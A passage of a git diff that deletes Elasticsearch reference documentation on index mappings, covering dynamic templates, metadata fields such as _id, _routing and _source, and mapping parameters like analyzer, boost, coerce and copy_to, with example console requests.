---------------------------------------------------
-
-[[text-only-mappings-strings]]
-===== `text`-only mappings for strings
-
-On the contrary to the previous example, if the only thing that you care about
-on your string fields is full-text search, and if you don't plan on running
-aggregations, sorting or exact search on your string fields, you could tell
-Elasticsearch to map it only as a text field (which was the default behaviour
-before 5.0):
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "strings_as_text": {
-          "match_mapping_type": "string",
-          "mapping": {
-            "type": "text"
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-===== Disabled norms
-
-Norms are index-time scoring factors. If you do not care about scoring, which
-would be the case for instance if you never sort documents by score, you could
-disable the storage of these scoring factors in the index and save some space.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "strings_as_keywords": {
-          "match_mapping_type": "string",
-          "mapping": {
-            "type": "text",
-            "norms": false,
-            "fields": {
-              "keyword": {
-                "type": "keyword",
-                "ignore_above": 256
-              }
-            }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-The sub `keyword` field appears in this template to be consistent with the
-default rules of dynamic mappings. Of course if you do not need them because
-you don't need to perform exact search or aggregate on this field, you could
-remove it as described in the previous section.
-
-===== Time series
-
-When doing time series analysis with Elasticsearch, it is common to have many
-numeric fields that you will often aggregate on but never filter on. In such a
-case, you could disable indexing on those fields to save disk space and also
-maybe gain some indexing speed:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "unindexed_longs": {
-          "match_mapping_type": "long",
-          "mapping": {
-            "type": "long",
-            "index": false
-          }
-        }
-      },
-      {
-        "unindexed_doubles": {
-          "match_mapping_type": "double",
-          "mapping": {
-            "type": "float", <1>
-            "index": false
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-<1> Like the default dynamic mapping rules, doubles are mapped as floats, which
-    are usually accurate enough, yet require half the disk space.
diff --git a/docs/reference/mapping/fields.asciidoc b/docs/reference/mapping/fields.asciidoc
deleted file mode 100644
index df9dbb376b5..00000000000
--- a/docs/reference/mapping/fields.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[[mapping-fields]]
-== Metadata fields
-
-Each document has metadata associated with it, such as the `_index`, mapping
-<<mapping-type-field,`_type`>>, and `_id` metadata fields.  The behavior of
-some of these metadata fields can be customized when a mapping type is created.
-
-[discrete]
-=== Identity metadata fields
-
-[horizontal]
-<<mapping-index-field,`_index`>>::
-
-    The index to which the document belongs.
-
-<<mapping-type-field,`_type`>>::
-
-    The document's mapping type.
-
-<<mapping-id-field,`_id`>>::
-
-    The document's ID.
-
-[discrete]
-=== Document source metadata fields
-
-<<mapping-source-field,`_source`>>::
-
-    The original JSON representing the body of the document.
-
-{plugins}/mapper-size.html[`_size`]::
-
-    The size of the `_source` field in bytes, provided by the
-    {plugins}/mapper-size.html[`mapper-size` plugin].
-
-[discrete]
-=== Indexing metadata fields
-
-<<mapping-field-names-field,`_field_names`>>::
-
-    All fields in the document which contain non-null values.
-
-<<mapping-ignored-field,`_ignored`>>::
-
-    All fields in the document that have been ignored at index time because of
-    <<ignore-malformed,`ignore_malformed`>>.
-
-[discrete]
-=== Routing metadata field
-
-<<mapping-routing-field,`_routing`>>::
-
-    A custom routing value which routes a document to a particular shard.
-
-[discrete]
-=== Other metadata field
-
-<<mapping-meta-field,`_meta`>>::
-
-    Application specific metadata.
-
-
-include::fields/field-names-field.asciidoc[]
-
-include::fields/ignored-field.asciidoc[]
-
-include::fields/id-field.asciidoc[]
-
-include::fields/index-field.asciidoc[]
-
-include::fields/meta-field.asciidoc[]
-
-include::fields/routing-field.asciidoc[]
-
-include::fields/source-field.asciidoc[]
-
-include::fields/type-field.asciidoc[]
-
diff --git a/docs/reference/mapping/fields/field-names-field.asciidoc b/docs/reference/mapping/fields/field-names-field.asciidoc
deleted file mode 100644
index 282750dc54f..00000000000
--- a/docs/reference/mapping/fields/field-names-field.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[[mapping-field-names-field]]
-=== `_field_names` field
-
-The `_field_names` field used to index the names of every field in a document that
-contains any value other than `null`.  This field was used by the
-<<query-dsl-exists-query,`exists`>> query to find documents that
-either have or don't have any non-+null+ value for a particular field.
-
-Now the `_field_names` field only indexes the names of fields that have
-`doc_values` and `norms` disabled. For fields which have either `doc_values`
-or `norm` enabled the <<query-dsl-exists-query,`exists`>> query will still
-be available but will not use the `_field_names` field.
-
-[[disable-field-names]]
-==== Disabling `_field_names`
-
-NOTE: Disabling `_field_names` has been deprecated and will be removed in a future major version.
-
-Disabling `_field_names` is usually not necessary because it no longer
-carries the index overhead it once did. If you have a lot of fields
-which have `doc_values` and `norms` disabled and you do not need to
-execute `exists` queries using those fields you might want to disable
-`_field_names` by adding the following to the mappings:
-
-[source,console]
---------------------------------------------------
-PUT tweets
-{
-  "mappings": {
-    "_field_names": {
-      "enabled": false
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Disabling _field_names is not necessary because it no longer carries a large index overhead. Support for the `enabled` setting will be removed in a future major version. Please remove it from your mappings and templates.]
diff --git a/docs/reference/mapping/fields/id-field.asciidoc b/docs/reference/mapping/fields/id-field.asciidoc
deleted file mode 100644
index 1e963dd6de7..00000000000
--- a/docs/reference/mapping/fields/id-field.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[mapping-id-field]]
-=== `_id` field
-
-Each document has an `_id` that uniquely identifies it, which is indexed
-so that documents can be looked up either with the <<docs-get,GET API>> or the
-<<query-dsl-ids-query,`ids` query>>. The `_id` can either be assigned at
-indexing time, or a unique `_id` can be generated by {es}. This field is not
-configurable in the mappings.
-
-The value of the `_id` field is accessible in queries such as `term`,
-`terms`, `match`, and `query_string`.
-
-[source,console]
---------------------------
-# Example documents
-PUT my-index-000001/_doc/1
-{
-  "text": "Document with ID 1"
-}
-
-PUT my-index-000001/_doc/2?refresh=true
-{
-  "text": "Document with ID 2"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "terms": {
-      "_id": [ "1", "2" ] <1>
-    }
-  }
-}
---------------------------
-
-<1> Querying on the `_id` field (also see the <<query-dsl-ids-query,`ids` query>>)
-
-The `_id` field is restricted from use in aggregations, sorting, and scripting.
-In case sorting or aggregating on the `_id` field is required, it is advised to
-duplicate the content of the `_id` field into another field that has
-`doc_values` enabled.
-
-[NOTE]
-==================================================
-`_id` is limited to 512 bytes in size and larger values will be rejected.
-==================================================
diff --git a/docs/reference/mapping/fields/ignored-field.asciidoc b/docs/reference/mapping/fields/ignored-field.asciidoc
deleted file mode 100644
index c22e6398892..00000000000
--- a/docs/reference/mapping/fields/ignored-field.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[mapping-ignored-field]]
-=== `_ignored` field
-
-added[6.4.0]
-
-The `_ignored` field indexes and stores the names of every field in a document
-that has been ignored because it was malformed and
-<<ignore-malformed,`ignore_malformed`>> was turned on.
-
-This field is searchable with <<query-dsl-term-query,`term`>>,
-<<query-dsl-terms-query,`terms`>> and <<query-dsl-exists-query,`exists`>>
-queries, and is returned as part of the search hits.
-
-For instance the below query matches all documents that have one or more fields
-that got ignored:
-
-[source,console]
---------------------------------------------------
-GET _search
-{
-  "query": {
-    "exists": {
-      "field": "_ignored"
-    }
-  }
-}
---------------------------------------------------
-
-Similarly, the below query finds all documents whose `@timestamp` field was
-ignored at index time:
-
-[source,console]
---------------------------------------------------
-GET _search
-{
-  "query": {
-    "term": {
-      "_ignored": "@timestamp"
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/mapping/fields/index-field.asciidoc b/docs/reference/mapping/fields/index-field.asciidoc
deleted file mode 100644
index 87e55e992c2..00000000000
--- a/docs/reference/mapping/fields/index-field.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[[mapping-index-field]]
-=== `_index` field
-
-When performing queries across multiple indexes, it is sometimes desirable to
-add query clauses that are associated with documents of only certain indexes.
-The `_index` field allows matching on the index a document was indexed into.
-Its value is accessible in certain queries and aggregations, and when sorting
-or scripting:
-
-[source,console]
---------------------------
-PUT index_1/_doc/1
-{
-  "text": "Document in index 1"
-}
-
-PUT index_2/_doc/2?refresh=true
-{
-  "text": "Document in index 2"
-}
-
-GET index_1,index_2/_search
-{
-  "query": {
-    "terms": {
-      "_index": ["index_1", "index_2"] <1>
-    }
-  },
-  "aggs": {
-    "indices": {
-      "terms": {
-        "field": "_index", <2>
-        "size": 10
-      }
-    }
-  },
-  "sort": [
-    {
-      "_index": { <3>
-        "order": "asc"
-      }
-    }
-  ],
-  "script_fields": {
-    "index_name": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['_index']" <4>
-      }
-    }
-  }
-}
---------------------------
-
-<1> Querying on the `_index` field
-<2> Aggregating on the `_index` field
-<3> Sorting on the `_index` field
-<4> Accessing the `_index` field in scripts
-
-The `_index` field is exposed virtually -- it is not added to the Lucene index
-as a real field.  This means that you can use the `_index` field in a `term` or
-`terms` query (or any query that is rewritten to a `term` query, such as the
-`match`,  `query_string` or `simple_query_string` query), as well as `prefix`
-and `wildcard` queries. However, it does not support `regexp` and `fuzzy`
-queries.
-
-Queries on the `_index` field accept index aliases in addition to concrete
-index names.
-
-NOTE: When specifying a remote index name such as `cluster_1:index_3`, the
-query must contain the separator character `:`. For example, a `wildcard` query
-on `cluster_*:index_3` would match documents from the remote index. However, a
-query on `cluster*index_1` is only matched against local indices, since no
-separator is present. This behavior aligns with the usual resolution rules for
-remote index names.
diff --git a/docs/reference/mapping/fields/meta-field.asciidoc b/docs/reference/mapping/fields/meta-field.asciidoc
deleted file mode 100644
index 141a5de7258..00000000000
--- a/docs/reference/mapping/fields/meta-field.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[[mapping-meta-field]]
-=== `_meta` field
-
-A mapping type can have custom meta data associated with it. These are not
-used at all by Elasticsearch, but can be used to store application-specific
-metadata, such as the class that a document belongs to:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "_meta": { <1>
-      "class": "MyApp::User",
-      "version": {
-        "min": "1.0",
-        "max": "1.3"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This `_meta` info can be retrieved with the
-    <<indices-get-mapping,GET mapping>> API.
-
-The `_meta` field can be updated on an existing type using the
-<<indices-put-mapping,PUT mapping>> API:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_mapping
-{
-  "_meta": {
-    "class": "MyApp2::User3",
-    "version": {
-      "min": "1.3",
-      "max": "1.5"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
diff --git a/docs/reference/mapping/fields/routing-field.asciidoc b/docs/reference/mapping/fields/routing-field.asciidoc
deleted file mode 100644
index 0da9f2469e7..00000000000
--- a/docs/reference/mapping/fields/routing-field.asciidoc
+++ /dev/null
@@ -1,134 +0,0 @@
-[[mapping-routing-field]]
-=== `_routing` field
-
-A document is routed to a particular shard in an index using the following
-formula:
-
-    shard_num = hash(_routing) % num_primary_shards
-
-The default value used for `_routing` is the document's <<mapping-id-field,`_id`>>.
-
-Custom routing patterns can be implemented by specifying a custom `routing`
-value per document.  For instance:
-
-[source,console]
-------------------------------
-PUT my-index-000001/_doc/1?routing=user1&refresh=true <1>
-{
-  "title": "This is a document"
-}
-
-GET my-index-000001/_doc/1?routing=user1 <2>
-------------------------------
-// TESTSETUP
-
-<1> This document uses `user1` as its routing value, instead of its ID.
-<2> The same `routing` value needs to be provided when
-    <<docs-get,getting>>, <<docs-delete,deleting>>, or <<docs-update,updating>>
-    the document.
-
-The value of the `_routing` field is accessible in queries:
-
-[source,console]
---------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "terms": {
-      "_routing": [ "user1" ] <1>
-    }
-  }
-}
---------------------------
-
-<1> Querying on the `_routing` field (also see the <<query-dsl-ids-query,`ids` query>>)
-
-NOTE: Data streams do not support custom routing. Instead, target the
-appropriate backing index for the stream.
-
-==== Searching with custom routing
-
-Custom routing can reduce the impact of searches.  Instead of having to fan
-out a search request to all the shards in an index, the request can be sent to
-just the shard that matches the specific routing value (or values):
-
-[source,console]
-------------------------------
-GET my-index-000001/_search?routing=user1,user2 <1>
-{
-  "query": {
-    "match": {
-      "title": "document"
-    }
-  }
-}
-------------------------------
-
-<1> This search request will only be executed on the shards associated with the `user1` and `user2` routing values.
-
-
-==== Making a routing value required
-
-When using custom routing, it is important to provide the routing value
-whenever <<docs-index_,indexing>>, <<docs-get,getting>>,
-<<docs-delete,deleting>>, or <<docs-update,updating>> a document.
-
-Forgetting the routing value can lead to a document being indexed on more than
-one shard.  As a safeguard, the `_routing` field can be configured to make a
-custom `routing` value required for all CRUD operations:
-
-[source,console]
-------------------------------
-PUT my-index-000002
-{
-  "mappings": {
-    "_routing": {
-      "required": true <1>
-    }
-  }
-}
-
-PUT my-index-000002/_doc/1 <2>
-{
-  "text": "No routing value provided"
-}
-------------------------------
-// TEST[catch:bad_request]
-
-<1> Routing is required for all documents.
-<2> This index request throws a `routing_missing_exception`.
-
-==== Unique IDs with custom routing
-
-When indexing documents specifying a custom `_routing`, the uniqueness of the
-`_id` is not guaranteed across all of the shards in the index. In fact,
-documents with the same `_id` might end up on different shards if indexed with
-different `_routing` values.
-
-It is up to the user to ensure that IDs are unique across the index.
-
-[[routing-index-partition]]
-==== Routing to an index partition
-
-An index can be configured such that custom routing values will go to a subset of the shards rather
-than a single shard. This helps mitigate the risk of ending up with an imbalanced cluster while still
-reducing the impact of searches.
-
-This is done by providing the index level setting <<routing-partition-size,`index.routing_partition_size`>> at index creation.
-As the partition size increases, the more evenly distributed the data will become at the
-expense of having to search more shards per request.
-
-When this setting is present, the formula for calculating the shard becomes:
-
-    shard_num = (hash(_routing) + hash(_id) % routing_partition_size) % num_primary_shards
-
-That is, the `_routing` field is used to calculate a set of shards within the index and then the
-`_id` is used to pick a shard within that set.
-
-To enable this feature, the `index.routing_partition_size` should have a value greater than 1 and
-less than `index.number_of_shards`.
-
-Once enabled, the partitioned index will have the following limitations:
-
-*   Mappings with <<parent-join,`join` field>> relationships cannot be created within it.
-*   All mappings within the index must have the `_routing` field marked as required.
diff --git a/docs/reference/mapping/fields/source-field.asciidoc b/docs/reference/mapping/fields/source-field.asciidoc
deleted file mode 100644
index 43b1fc3b1e4..00000000000
--- a/docs/reference/mapping/fields/source-field.asciidoc
+++ /dev/null
@@ -1,114 +0,0 @@
-[[mapping-source-field]]
-=== `_source` field
-
-The `_source` field contains the original JSON document body that was passed
-at index time.  The `_source` field itself is not indexed (and thus is not
-searchable), but it is stored so that it can be returned when executing
-_fetch_ requests, like <<docs-get,get>> or <<search-search,search>>.
-
-[[disable-source-field]]
-==== Disabling the `_source` field
-
-Though very handy to have around, the source field does incur storage overhead
-within the index. For this reason, it can be disabled as follows:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "_source": {
-      "enabled": false
-    }
-  }
-}
---------------------------------------------------
-
-[WARNING]
-.Think before disabling the `_source` field
-==================================================
-
-Users often disable the `_source` field without thinking about the
-consequences, and then live to regret it.  If the `_source` field isn't
-available then a number of features are not supported:
-
-* The <<docs-update,`update`>>, <<docs-update-by-query,`update_by_query`>>,
-and <<docs-reindex,`reindex`>> APIs.
-
-* On the fly <<highlighting,highlighting>>.
-
-* The ability to reindex from one Elasticsearch index to another, either
-  to change mappings or analysis, or to upgrade an index to a new major
-  version.
-
-* The ability to debug queries or aggregations by viewing the original
-  document used at index time.
-
-* Potentially in the future, the ability to repair index corruption
-  automatically.
-==================================================
-
-TIP: If disk space is a concern, rather increase the
-<<index-codec,compression level>> instead of disabling the `_source`.
-
-[[include-exclude]]
-==== Including / Excluding fields from `_source`
-
-An expert-only feature is the ability to prune the contents of the `_source`
-field after the document has been indexed, but before the `_source` field is
-stored.
-
-WARNING: Removing fields from the `_source` has similar downsides to disabling
-`_source`, especially the fact that you cannot reindex documents from one
-Elasticsearch index to another. Consider using
-<<source-filtering,source filtering>> instead.
-
-The `includes`/`excludes` parameters (which also accept wildcards) can be used
-as follows:
-
-[source,console]
---------------------------------------------------
-PUT logs
-{
-  "mappings": {
-    "_source": {
-      "includes": [
-        "*.count",
-        "meta.*"
-      ],
-      "excludes": [
-        "meta.description",
-        "meta.other.*"
-      ]
-    }
-  }
-}
-
-PUT logs/_doc/1
-{
-  "requests": {
-    "count": 10,
-    "foo": "bar" <1>
-  },
-  "meta": {
-    "name": "Some metric",
-    "description": "Some metric description", <1>
-    "other": {
-      "foo": "one", <1>
-      "baz": "two" <1>
-    }
-  }
-}
-
-GET logs/_search
-{
-  "query": {
-    "match": {
-      "meta.other.foo": "one" <2>
-    }
-  }
-}
---------------------------------------------------
-
-<1> These fields will be removed from the stored `_source` field.
-<2> We can still search on this field, even though it is not in the stored `_source`.
diff --git a/docs/reference/mapping/fields/type-field.asciidoc b/docs/reference/mapping/fields/type-field.asciidoc
deleted file mode 100644
index 2b99e2ac1dc..00000000000
--- a/docs/reference/mapping/fields/type-field.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[mapping-type-field]]
-=== `_type` field
-
-deprecated[6.0.0,See <<removal-of-types>>]
-
-Each document indexed is associated with a <<mapping-type-field,`_type`>> and
-an <<mapping-id-field,`_id`>>.  The `_type` field is indexed in order to make
-searching by type name fast.
-
-The value of the `_type` field is accessible in queries, aggregations,
-scripts, and when sorting:
-
-[source,console]
---------------------------
-# Example documents
-
-PUT my-index-000001/_doc/1?refresh=true
-{
-  "text": "Document with type 'doc'"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "_type": "_doc"  <1>
-    }
-  },
-  "aggs": {
-    "types": {
-      "terms": {
-        "field": "_type", <2>
-        "size": 10
-      }
-    }
-  },
-  "sort": [
-    {
-      "_type": { <3>
-        "order": "desc"
-      }
-    }
-  ],
-  "script_fields": {
-    "type": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['_type']" <4>
-      }
-    }
-  }
-}
-
---------------------------
-
-<1> Querying on the `_type` field
-<2> Aggregating on the `_type` field
-<3> Sorting on the `_type` field
-<4> Accessing the `_type` field in scripts
-
diff --git a/docs/reference/mapping/params.asciidoc b/docs/reference/mapping/params.asciidoc
deleted file mode 100644
index cbf21f55f8d..00000000000
--- a/docs/reference/mapping/params.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[[mapping-params]]
-== Mapping parameters
-
-The following pages provide detailed explanations of the various mapping
-parameters that are used by <<mapping-types,field mappings>>:
-
-
-The following mapping parameters are common to some or all field data types:
-
-* <<analyzer,`analyzer`>>
-* <<mapping-boost,`boost`>>
-* <<coerce,`coerce`>>
-* <<copy-to,`copy_to`>>
-* <<doc-values,`doc_values`>>
-* <<dynamic,`dynamic`>>
-* <<eager-global-ordinals,`eager_global_ordinals`>>
-* <<enabled,`enabled`>>
-* <<fielddata,`fielddata`>>
-* <<multi-fields,`fields`>>
-* <<mapping-date-format,`format`>>
-* <<ignore-above,`ignore_above`>>
-* <<ignore-malformed,`ignore_malformed`>>
-* <<index-options,`index_options`>>
-* <<index-phrases,`index_phrases`>>
-* <<index-prefixes,`index_prefixes`>>
-* <<mapping-index,`index`>>
-* <<mapping-field-meta,`meta`>>
-* <<normalizer, `normalizer`>>
-* <<norms,`norms`>>
-* <<null-value,`null_value`>>
-* <<position-increment-gap,`position_increment_gap`>>
-* <<properties,`properties`>>
-* <<search-analyzer,`search_analyzer`>>
-* <<similarity,`similarity`>>
-* <<mapping-store,`store`>>
-* <<term-vector,`term_vector`>>
-
-
-include::params/analyzer.asciidoc[]
-
-include::params/boost.asciidoc[]
-
-include::params/coerce.asciidoc[]
-
-include::params/copy-to.asciidoc[]
-
-include::params/doc-values.asciidoc[]
-
-include::params/dynamic.asciidoc[]
-
-include::params/eager-global-ordinals.asciidoc[]
-
-include::params/enabled.asciidoc[]
-
-include::params/format.asciidoc[]
-
-include::params/ignore-above.asciidoc[]
-
-include::params/ignore-malformed.asciidoc[]
-
-include::params/index.asciidoc[]
-
-include::params/index-options.asciidoc[]
-
-include::params/index-phrases.asciidoc[]
-
-include::params/index-prefixes.asciidoc[]
-
-include::params/meta.asciidoc[]
-
-include::params/multi-fields.asciidoc[]
-
-include::params/normalizer.asciidoc[]
-
-include::params/norms.asciidoc[]
-
-include::params/null-value.asciidoc[]
-
-include::params/position-increment-gap.asciidoc[]
-
-include::params/properties.asciidoc[]
-
-include::params/search-analyzer.asciidoc[]
-
-include::params/similarity.asciidoc[]
-
-include::params/store.asciidoc[]
-
-include::params/term-vector.asciidoc[]
diff --git a/docs/reference/mapping/params/analyzer.asciidoc b/docs/reference/mapping/params/analyzer.asciidoc
deleted file mode 100644
index 4c5d7cda733..00000000000
--- a/docs/reference/mapping/params/analyzer.asciidoc
+++ /dev/null
@@ -1,107 +0,0 @@
-[[analyzer]]
-=== `analyzer`
-
-[IMPORTANT]
-====
-Only <<text,`text`>> fields support the `analyzer` mapping parameter.
-====
-
-The `analyzer` parameter specifies the <<analyzer-anatomy,analyzer>> used for
-<<analysis,text analysis>> when indexing or searching a `text` field.
-
-Unless overridden with the <<search-analyzer,`search_analyzer`>> mapping
-parameter, this analyzer is used for both <<analysis-index-search-time,index and
-search analysis>>. See <<specify-analyzer>>.
-
-[TIP]
-====
-We recommend testing analyzers before using them in production. See
-<<test-analyzer>>.
-====
-
-[[search-quote-analyzer]]
-==== `search_quote_analyzer`
-
-The `search_quote_analyzer` setting allows you to specify an analyzer for phrases, this is particularly useful when dealing with disabling
-stop words for phrase queries.
-
-To disable stop words for phrases a field utilising three analyzer settings will be required:
-
-1. An `analyzer` setting for indexing all terms including stop words
-2. A `search_analyzer` setting for non-phrase queries that will remove stop words
-3. A `search_quote_analyzer` setting for phrase queries that will not remove stop words
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-   "settings":{
-      "analysis":{
-         "analyzer":{
-            "my_analyzer":{ <1>
-               "type":"custom",
-               "tokenizer":"standard",
-               "filter":[
-                  "lowercase"
-               ]
-            },
-            "my_stop_analyzer":{ <2>
-               "type":"custom",
-               "tokenizer":"standard",
-               "filter":[
-                  "lowercase",
-                  "english_stop"
-               ]
-            }
-         },
-         "filter":{
-            "english_stop":{
-               "type":"stop",
-               "stopwords":"_english_"
-            }
-         }
-      }
-   },
-   "mappings":{
-       "properties":{
-          "title": {
-             "type":"text",
-             "analyzer":"my_analyzer", <3>
-             "search_analyzer":"my_stop_analyzer", <4>
-             "search_quote_analyzer":"my_analyzer" <5>
-         }
-      }
-   }
-}
-
-PUT my-index-000001/_doc/1
-{
-   "title":"The Quick Brown Fox"
-}
-
-PUT my-index-000001/_doc/2
-{
-   "title":"A Quick Brown Fox"
-}
-
-GET my-index-000001/_search
-{
-   "query":{
-      "query_string":{
-         "query":"\"the quick brown fox\"" <6>
-      }
-   }
-}
---------------------------------------------------
-
-<1> `my_analyzer` analyzer which tokens all terms including stop words
-<2> `my_stop_analyzer` analyzer which removes stop words
-<3> `analyzer` setting that points to the `my_analyzer` analyzer which will be used at index time
-<4> `search_analyzer` setting that points to the `my_stop_analyzer` and removes stop words for non-phrase queries
-<5> `search_quote_analyzer` setting that points to the `my_analyzer` analyzer and ensures that stop words are not removed from phrase queries
-<6> Since the query is wrapped in quotes it is detected as a phrase query therefore the `search_quote_analyzer` kicks in and ensures the stop words
-are not removed from the query. The `my_analyzer` analyzer will then return the following tokens [`the`, `quick`, `brown`, `fox`] which will match one
-of the documents. Meanwhile term queries will be analyzed with the `my_stop_analyzer` analyzer which will filter out stop words. So a search for either
-`The quick brown fox` or `A quick brown fox` will return both documents since both documents contain the following tokens [`quick`, `brown`, `fox`].
-Without the `search_quote_analyzer` it would not be possible to do exact matches for phrase queries as the stop words from phrase queries would be
-removed resulting in both documents matching.
diff --git a/docs/reference/mapping/params/boost.asciidoc b/docs/reference/mapping/params/boost.asciidoc
deleted file mode 100644
index 1cfd62d016e..00000000000
--- a/docs/reference/mapping/params/boost.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[[mapping-boost]]
-=== `boost`
-
-Individual fields can be _boosted_ automatically -- count more towards the relevance score
--- at query time, with the `boost` parameter as follows:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "boost": 2 <1>
-      },
-      "content": {
-        "type": "text"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Parameter [boost] on field [title] is deprecated and will be removed in 8.0]
-
-<1> Matches on the `title` field will have twice the weight as those on the
-    `content` field, which has the default `boost` of `1.0`.
-
-NOTE: The boost is applied only for term queries (prefix, range and fuzzy queries are not _boosted_).
-
-You can achieve the same effect by using the boost parameter directly in the query, for instance the following query (with field time boost):
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "match": {
-      "title": {
-        "query": "quick brown fox"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-is equivalent to:
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "match": {
-      "title": {
-        "query": "quick brown fox",
-        "boost": 2
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-deprecated[5.0.0, "Index time boost is deprecated.  Instead, the field mapping boost is applied at query time. For indices created before 5.0.0, the boost will still be applied at index time."]
-[WARNING]
-.Why index time boosting is a bad idea
-==================================================
-
-We advise against using index time boosting for the following reasons:
-
-* You cannot change index-time `boost` values without reindexing all of your
-  documents.
-
-* Every query supports query-time boosting which achieves the same effect. The
-  difference is that you can tweak the `boost` value without having to reindex.
-
-* Index-time boosts are stored as part of the <<norms,`norm`>>, which is only one
-  byte.  This reduces the resolution of the field length normalization factor
-  which can lead to lower quality relevance calculations.
-
-==================================================
diff --git a/docs/reference/mapping/params/coerce.asciidoc b/docs/reference/mapping/params/coerce.asciidoc
deleted file mode 100644
index 805dd33bcf4..00000000000
--- a/docs/reference/mapping/params/coerce.asciidoc
+++ /dev/null
@@ -1,88 +0,0 @@
-[[coerce]]
-=== `coerce`
-
-Data is not always clean.  Depending on how it is produced a number might be
-rendered in the JSON body as a true JSON number, e.g. `5`, but it might also
-be rendered as a string, e.g. `"5"`.  Alternatively, a number that should be
-an integer might instead be rendered as a floating point, e.g. `5.0`, or even
-`"5.0"`.
-
-Coercion attempts to clean up dirty values to fit the data type of a field.
-For instance:
-
-* Strings will be coerced to numbers.
-* Floating points will be truncated for integer values.
-
-For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "number_one": {
-        "type": "integer"
-      },
-      "number_two": {
-        "type": "integer",
-        "coerce": false
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "number_one": "10" <1>
-}
-
-PUT my-index-000001/_doc/2
-{
-  "number_two": "10" <2>
-}
---------------------------------------------------
-// TEST[catch:bad_request]
-
-<1> The `number_one` field will contain the integer `10`.
-<2> This document will be rejected because coercion is disabled.
-
-TIP: The `coerce` setting value can be updated on existing fields
-using the <<indices-put-mapping,PUT mapping API>>.
-
-[[coerce-setting]]
-==== Index-level default
-
-The `index.mapping.coerce` setting can be set on the index level to disable
-coercion globally across all mapping types:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "index.mapping.coerce": false
-  },
-  "mappings": {
-    "properties": {
-      "number_one": {
-        "type": "integer",
-        "coerce": true
-      },
-      "number_two": {
-        "type": "integer"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{ "number_one": "10" } <1>
-
-PUT my-index-000001/_doc/2
-{ "number_two": "10" } <2>
---------------------------------------------------
-// TEST[catch:bad_request]
-
-<1> The `number_one` field overrides the index level setting to enable coercion.
-<2> This document will be rejected because the `number_two` field inherits the index-level coercion setting.
diff --git a/docs/reference/mapping/params/copy-to.asciidoc b/docs/reference/mapping/params/copy-to.asciidoc
deleted file mode 100644
index cc5c811ccf3..00000000000
--- a/docs/reference/mapping/params/copy-to.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
-[[copy-to]]
-=== `copy_to`
-
-The `copy_to` parameter allows you to copy the values of multiple
-fields into a group field, which can then be queried as a single
-field.
-
-TIP: If you often search multiple fields, you can improve search speeds by using
-`copy_to` to search fewer fields. See <<search-as-few-fields-as-possible>>.
-
-For example, the `first_name` and `last_name` fields can be copied to
-the `full_name` field as follows:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "first_name": {
-        "type": "text",
-        "copy_to": "full_name" <1>
-      },
-      "last_name": {
-        "type": "text",
-        "copy_to": "full_name" <1>
-      },
-      "full_name": {
-        "type": "text"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "first_name": "John",
-  "last_name": "Smith"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "full_name": { <2>
-        "query": "John Smith",
-        "operator": "and"
-      }
-    }
-  }
-}
-
---------------------------------------------------
-
-<1>  The values of the `first_name` and `last_name` fields are copied to the
-     `full_name` field.
-
-<2>  The `first_name` and `last_name` fields can still be queried for the
-     first name and last name respectively, but the `full_name` field can be
-     queried for both first and last names.
-
-Some important points:
-
-* It is the field _value_ which is copied, not the terms (which result from the analysis process).
-* The original <<mapping-source-field,`_source`>> field will not be modified to show the copied values.
-* The same value can be copied to multiple fields, with `"copy_to": [ "field_1", "field_2" ]`
-* You cannot copy recursively via intermediary fields such as a `copy_to` on 
-`field_1` to `field_2` and `copy_to` on `field_2` to `field_3` expecting 
-indexing into `field_1` will eventuate in `field_3`, instead use copy_to 
-directly to multiple fields from the originating field. 
